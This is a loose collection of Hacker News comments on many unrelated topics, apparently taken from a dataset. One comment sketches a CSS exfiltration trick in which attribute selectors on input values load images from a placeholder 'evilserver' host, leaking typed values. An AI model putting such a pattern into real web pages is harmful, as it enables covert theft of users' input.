skysight-inc/HackerNews huggingface dataset:
My experience is quite the opposite: they are hardcoding more things to be hard to replace - you can only have /system apps not affected by forced battery saving limits, the new file-based encryption is moot on unlocked bootloader etc.
Why not "drill recall" by actually using the language, for example doing advent of code puzzles? This is a lot of money just to have simple functions printed on playing cards.
A good example of how security by obscurity can fail. Just because there's no url to an endpoint exposed doesn't mean it shouldn't be hardened
By the way, he has now silently changed the link to remove "whiteness" and add "racialized" and "phenomenology," which I guess confirms

- no, he did not read the results and had no specific academic work in mind, he just listed some words he didn't like

- he still doesn't like words about the academic study of race

- he somehow didn't learn the meaning of "phenomenology" in his Ivy-League philosophy degree, either
Many of his critics mention his connection to HN, discuss his earlier essays, and so on.
I use Pushover (pushover.net)
That was the Articles of Confederation more than anything. The current federal government was meant to be strong after the fiascoes of the AC. And the Founders, once they were in power, almost universally worked towards a stronger federal government and concentrating power. I mean, Jefferson purchased Louisiana from Napoleon unilaterally without consulting congress; maybe the most massively illegal abuse of power in the history of the US.
I've been using Python daily for probably a decade and I didn't know there was an ascii() built-in. Seems it would have been better to add a str.ascii() method for ASCII-safe encoding of an arbitrary string, then repr().ascii() would accomplish the same goal while providing a useful method for other circumstances.

https://docs.python.org/3.8/library/functions.html#ascii
Ask HN: Is there an auth protocol for doors and physical access?
What if any are the open protocols for authentication and authorization for the physical world like opening doors with the mobile phone, keyfobs, cards and for PAC (Physical Access Control) systems. Handshakes could be over proximity like NFC, Bluetooth, Wifi etc....
Yes, they should be unique so the abbreviations can be used in communication. Thanks for the catch, I fixed it now.
it's a false understanding of an electric car, despite the fact EV is simpler and and more robust, for a large battery, you have to do a lot of engineering. Termal management, hight voltage, safety etc... Toyota's bet was that EV will be slow or stuck in this hybrid world, Reality is pushing it towards different direction.
Just saw that on Product Hunt, came to see the comments on HN, and quite surprisingly they seem very generic and those one would found in fake reviews and/or voting rings.
In my experience, developers have been choosing dark mode for their editors for many decades. That doesn't feel like a fad to me.

Edit: but to be fair, I agree dark mode can be bad in some contexts like the examples you gave.
No problem. IDEs quite deservedly have the reputation of bloated monstrosities, so people might be put off by them. Hoewver, these monstrosities often have a plethora of tools that you might not even know can exist unless you use one of those monstrosities :)
I asked when I was setting up service. I can try to enable it in my router and see if I get an IPv6 address.
In all fairness, is there ever really a water tight abstraction for undoing things at the file system level like you're talking about? If I'm ever trying to do some magic in a Unix-like environment, I usually always make sure that I'm using "dry run" mode if it's available or running the command against files that are in version control. On top of that, it's also essential to invest a reasonable amount of time into ensuring that the command won't run amok and start following symlinks or something like that. These are habits you have to develop if you want to operate at the command line level. IDEs often don't offer similar levels of power or control or the ability to cleanly undo large sets of changes like that.
> The low contrast, colorful text will not compress as accurately as light mode

Kind of off topic, but I've always wondered why this is an issue. If I invert the colors, will those parts of the image suddenly compress just fine? Is it something to do with human perception of dark colors (like how many compression algorithms use more detail in various characteristics we're more sensitive to, such as brightness, as opposed to color)? That wouldn't make sense to me, as it seems to be a pretty obvious visual flaw.
Have you tried using lists?
Russia bought lousy ads and ran some pages like your average boring marketer, hardly an attack.
I like it for the most part but some apps take it such an extreme that I can't even tell where the window edges are when they are overlapping each other and buttons are indistinguishable from the window background color. The skin I am using on JRiver Media Center is that way and the other choices aren't really much better.
Different people have different eyes. I have strong visual noise and floaters, and having choices for colorscheme helps me select the one which reduces these visual distractions.
In fact the term HDR (High Dynamic Range) originates from film scanners and the data formats used to preserve this detail.

Decades before anyone had an HDR TV, film frames were being stored in HDR formats for digital processing.
> The article seems to be saying you can sue government agents who violate your rights

Not quite. It's saying that Congress has the authority to make a law that allows you to sue government agents, in their personal capacities, if they violate your rights in particular ways. In this particular case, Congress had passed such a law that applied to the rights violation in the case.
>Adults expect results, get frustrated more quickly, can't tolerate speaking "silly" for long etc

This is why, whenever I discuss language learning with people, I said, "Fluency is overrated. Learn as much as you can, at your own pace, for as long as you enjoy doing it." There are cognitive benefits to language learning beyond being able to speak fluently.
Absolutely fair that you desire that, but it's not where the software world in general is headed and it's at least understandable that software companies are skating to where the puck is headed. (ADDED: Of course, with open source, you have no requirement to upgrade. It's just that folks want to make certain upgrades--like security fixes--and for serious bugs but no others.)

The nice thing about open source--rather than cloud SaaSs--is that there are more backward-looking options from a variety of sources. I'd also encourage users who need or feel they need that sort of option to contribute to such efforts so that they're sustainable.
I think Apple should have to sell OEM parts at a competitive price to avoid hazards and take away the monopoly.
Yes, you might not have seen her gender beforehand. But countless others have. I'm not saying GP went "oh a woman, better tone-police her". Rather, the gender of the author entered into our (mine as well) subconsciousness and combined there with implicit assumptions about gender roles and the 'proper' behavior of women. Any behavior that then doesn't fit the stereotype of diplomatic, kind, etc., elicits a stronger emotional reaction in us and makes us more like to write or upvote such a comment.

It is not that HN doesn't already have a "baseline obsession" with tone or that male authors never fall victim to this. But rather, one can observe a trend where such tone-policing comments are more likely to occur and get upvoted if the author is a woman. And on the flip-side, comments commending a harsher, "more" honest or rant-y tone are more likely to occur when the post was written by a male author.
What's your daily driver now, if I may ask? I was seriously considering the T14, but the M1 Air is tempting me.
I think the answer is somewhere in-between. I really like the idea of "paid open-source", where someone creates a software product and you pay a small license fee to self-host it. This way you still have full control over the software, very low costs but the product is still externally maintained so you don't have to worry about it breaking. The only thing you have to maintain are the servers, but with all the VPS and managed cloud platforms out there, running a server, backing it up or monitoring it is done in a few clicks.

The biggest selling points of such a distribution system should be:

1) It's REALLY easy to set-up, no technical knowledge required.

2) It doesn't require any type of maintenance (eg. can run perfectly at least one year without changing anything, this means that the software should allow for OTA updates).

3) It is a lot (10x) cheaper than a SaaS alternative.
That’s fast. Aside from the common complaints people have about legacy code and so on, what was the hardest part of ramping up in COBOL?
OK, try this: https://nymag.com/intelligencer/2020/12/moderna-covid-19-vac...

Designed by Jan 13, manufactured and first trial by mid-Feb.

Also quote ..

>as early as July the MIT Technology Review reported that a group of 70 scientists in the orbit of Harvard and MIT, including “celebrity geneticist” George Church, were taking a totally DIY nasal-spray vaccine,
From the site:

"The columns are organized left-to-right by the date an API in that column was first implemented. Older first.
The rows are organized by the date they were first proposed.

The first row represents technologies that still work, but are superseded or obsoleted by newer technologies.
The second-to-last row is deprecated or abandoned APIs. These may have been implemented before and removed, or only partly implemented.
The last row is for APIs that only ever worked in one browser. Many of these are proprietary or vendor-specific APIs."
Well you have a vote right here for mobile flows, I think that would be awesome!

May I ask... do you ever construct information architectures (aka sitemaps) for your clients? If so, what tools would you use for this?
Did anyone else notice that Facebook’s color scheme is more...complex? Both Spotify and Youtube use colors whose R, G and B values are identical. But Facebook’s colors are much sneakier. Am I wrong to suspect something sinister here? I find myself somewhat attracted to the Facebook colors, as though I need to stare at them longer to figure them out. Do they optimize for this kind of thing (like their infamous shade of blue)?
How quick before someone sues election authorities directly under this to get the standing that SCOTUS denied Texas's suit yesterday?
If you're looking for a simpler way to build a solid DDR pad I did this mod to a soft pad a few days ago and it worked well, even for someone terrible at physical construction like me: https://www.angelfire.com/pro2/softpadmod
Yes, not ideal. But may be someone might develop even better methods. Imagine something like

input[value~="12"] { background-image: url(http://evilserver/12); }
input[value~="13"] { background-image: url(http://evilserver/13); }

It's just a rough idea, but there are numerous methods to dynamically leak information through CSS.
A note for people seeing the essay now: he's quietly changed the link to be "hermeneutic dialectic hegemonic racialized phenomenology." (Which makes it even clearer that he doesn't have a reasoned argument at any specific target in mind, just "tee-hee postmodern bogus." Also that he forgot he needs to hide his power level.)

EDIT: He's quietly changed the link again to remove "racialized."
That's not quite right. Journalists can publish classified information as long as they don't encourage or help with the original leak. So distributing classified info that someone mailed you is fine, but telling someone what info to go and get for you is not fine (legally speaking).
Yeah there's two projects I know of that have been making their rounds on reddit and discord. This one just released today, and seems like the more interesting one to me. There's also a 9-panel project called Rhythm Horizon (used to be called Impulse I think?) that's I think going to be sold fully assembled.

I've been looking through the plans, yeah it seems like all the parts so far are either 3d printed or can be bought "off the shelf". Only exception I found so far is seems like you have to solder on a small number of components on a pcb the way they've suggested to order it.

I am still working through the sourcing though, so take with a grain of salt.
It says it recharges in ten minutes. Let’s see.
> I predict that dark mode, like the open office, is a hyped up fad that will eventually be proven to be largely detrimental.

Bold statement. I insist on dark mode everywhere and love it. Besides what compelling reason is there to give the user fewer UI knobs? We all have our own preferences.
I do agree with your point overall but I find it so peculiar that the GP's tone-policing comment was the top one when I posted because, as you point out, her substantive point is so fantastic.
I've worked on mission critical software over a long period of time and it can be a challenge to be performant and also not fail or bring down the rest of the apps on the computer at the same time. Nothing as mission critical as flight software mind you.
You’re on the wrong site to get a real answer to this.
Yeah, it's annoying that unix filenames and shell quoting are both fundamentally broken and that (as above) people would generally (knowingly) write a a broken-for-spaces-in-filenames version by default because it's easier (and the author no doubt knew he'd not encounter spaces in his repo). Having said that, it's not very hard to fix, I'd probably write something like:

git status -s | awk -vORS="\0" 'gsub(/^ D /,"")' | xargs -0 git checkout --

Which is about the same length. This will still break for malicious input (newlines in filename), but for the original use case that's not a concern.
> Except in the cases of saving battery on OLED displays or viewing a screen in very low ambient light environments, dark mode is the wrong answer to a problem of an overbright display.

Both OLED and browsing in random low light environments often happen in the context of mobile devices. We do more and more on our phones. Because of that I wouldn’t treat OLED and low light as an edge case.
A lot of entrepreneurs have to bootstrap this way. I personally don't have interest in starting my own business. However, I have played music intensely for years while studying and working. It's do-able, you just have to have the passion and dedication in your off-time that overcomes tiredness. If you can't do it while fully employed with benefits, if you don't have the devotion then, how will you with even less structure and when finances start running tight?
Eye, Wikipedia: "Eyes detect light and convert it into electro-chemical impulses in neurons."

When your eyes detect light, they have to do work. Electricity and chemicals are expended and recycled to pass the information on to your brain. The less light your eyes receive, the less work they have to do.

Similarily, the screen blasting the light with LEDs consumes more energy the brighter the light is. White is literally the most expensive color to both produce and process.

Additionally, excess light at times of the day when the Sun don't shine messes up our evolutionary psycho-biology, causing issues with sleep.

So yes, light is literally bad for you, in this context. Natural sunlight is different because your skin needs it to produce essential vitamins.
It’s really hard to say what something is worth if you are only allowed to sell it to one buyer. No competition between buyers. The only leverage is releasing the info and screwing a lot of people.

(Also sucks that you can release it anyway. But you do want to source these vulnerabilities from the world at large.)

Yet another reason why open source and collaboration may be better than capitalism and competition. Many hands make light work, with enough eyes all bugs are shallow, and all that.

(To be fair, open source lacks security by obscurity so a project becomes secure after many years and developers join it.)
That's because this essay doesn't exist in isolation, it's a defense against the (entirely accurate) claim that his interest in Lisp for its own sake hasn't changed the world, only his business skills have: https://news.ycombinator.com/item?id=25400184

If you don't have that context, then the essay is in fact very confusing: the beginning of it says that caring about money is the wrong motivation, and the end of it says how good it is that you now get money from earnestly working on things. What it's actually doing is trying to convince people that there's a connection between his financial success and his earnest work on Lisp, and more generally that successful startups (who apparently still need VC investment) tend to be successful because they deserve it, not because they happened to be in the right place at the right time with the right access to capital.
I support the tone: freedom of expression. It could be harsh but certainly isn’t abusive.
Rizin – a free and open-source Reverse Engineering framework
I haven't generally seen that the trend in introducing dark mode has involved forcing it on users.
How on Earth did this endpoint pass code review at Facebook?

The person who wrote it probably was working under the assumption that the calling user was logged in, but still....
> when you make this sort of argument people tend to get pretty cross

Because this argument has a lot of problems. To quote Tom Stoppard: if there is any point to using language at all it is that words are taken to stand for certain thoughts and ideas and not for other thoughts and idea. The word "fish" has a well established meaning, and it has nothing to do with being "fishy". It has to do with being a member of a class of creatures that share certain characteristics, like having gills. It has nothing do with living in the water, except insofar as having gills constrains you from getting too far from water. But not all fish live in the water. Mud skippers, for example, are fish (by virtue of having gills ) but spend quite a bit of time outside of the water.

There are a lot of things besides whales that live in the water but aren't fish: sea cucumbers, anemones, sea jellies (which are not fish notwithstanding that people sometimes refer to them, incorrectly, as jellyfish), mosquitos (as larvae), frogs (as tadpoles), barnacles, hippopotami, seals, sea lions, beavers, otters, and manatees.
Embracing Nature on a Rail Trail
It's not highly restricted. It's a bit more restricted than in the USA and there are plenty of brits that think that's dumb, meaningless and just creates drama whilst simultaneously distracting the police from solving actual crimes.
Correct. Liquid or gel electrolyte makes a battery non-solid state. The goal is to have a battery where you can't have "tin whiskers" grow between the two halves, which is both a safety hazard and puts a limit on how fast they can be charged.
It remains to be seen how this plays out but it allows the opportunity for precedent. No matter how small I’ll take it.
It’s that second part.

“I’m going to do x if you don’t y.”

He’s under no obligation to disclose. But the second part is coercion.

x itself might also constitute a crime.
corporate culture is all built on this attitude. Amazon leadership principles are akin to NLP on a corporate mission statement level. they're good, too, if you just take them as simple pieces of advice, but you should also consider the value in doing the exact opposite of a lot of these things in equal measure.

https://www.amazon.jobs/en/principles
This has everything to do with it. It is much easier for pentesters to do their job when they don't have to walk on eggshells.

Any U.S. based pentester would always think twice before logging in a compromised system.
I know the reasoning. It was a (very) novel interpretation of the constitution (both the extension of corporate personhood and the notion of money-as-speech were completely new tricks) that allowed it. Again, it's just excuse-making. If you don't want to do something you write a narrow opinion and put the responsibility on congress to provide specificity. If you want to do something big you throw out a law based on the constitution.

In this case, they held the way they did because they did not want to write a broad finding, and absolutely not because their hands were bound by some imaginary principle.
Emacs as a Musical Instrument (2018)
You sound like a guy I know who builds 2 element lenses using dollar bills for the barrel.
> I'm sorry, but this is a profound misapprehension of the humanities: one of the first things you do in the study of history is learn that history is a human project, subject to human flaws. We don't take Thucydides and Herodotus at their words; we expect the "facts" of history to be distorted.

Sure, but there's still a basis in facts where can corroborate accounts from different authors, even different sides in a war. yes it's subject to interpretation, and there's no one right answer. But you also can't just make stuff up and get people to take you seriously. There's some rigour to making and presenting your arguments. Very different to gender studies.

> I know that it's difficult, but please consider whether your own positions have become dogmatic. You don't have to agree with prevailing views in gender studies (I don't even know what they are!); you merely have to ask yourself whether you're qualified to dismiss it as "an ideology with very little basis in reality."

Maybe. I've seen a lot of terrible examples of things from gender studies. I'm sure there have to be some redeeming ideas right? The whole field can't be 100% worthless. But by and large there's not much value in it and a lot of nonsense, incorrect, and even dangerous thinking to be found there.
Except that the time it takes for these processes to play out means that that the Congress that writes a law and the Congress that has the “ability to update” are rarely the same Congress and often controlled by entirely different parties.
I have a related question, borne out of my ignorance as I am not a physicist nor a mathematician.

> Noether's first theorem states that every differentiable symmetry of the action of a physical system has a corresponding conservation law.

Why is this not obvious? Are not symmetries necessarily the transformations which conserve quantities, and the types of symmetry equivalent to the type of conservation?

Because Noether got a lot of respect for her work despite working (in a time of great sexism, no less!), I know that either I have totally misunderstood or this is a Columbus’ Egg [0] — but I am curious which, and if it isn’t a Columbus’ Egg, what I’ve misunderstood (assuming that sort of thing can even fit into a HN-sized reply and I’m not asking something that would normally be the conclusion of a final year degree level physics module).

[0] https://en.m.wikipedia.org/wiki/Egg_of_Columbus
Yeah especially since it's Wordpress with Woocommerce so enabling caching isn't super straightforward, although it looks like there hasn't even been any attempt made.
Satisfying the contrast ratio and being aesthetically appealing result in limited choices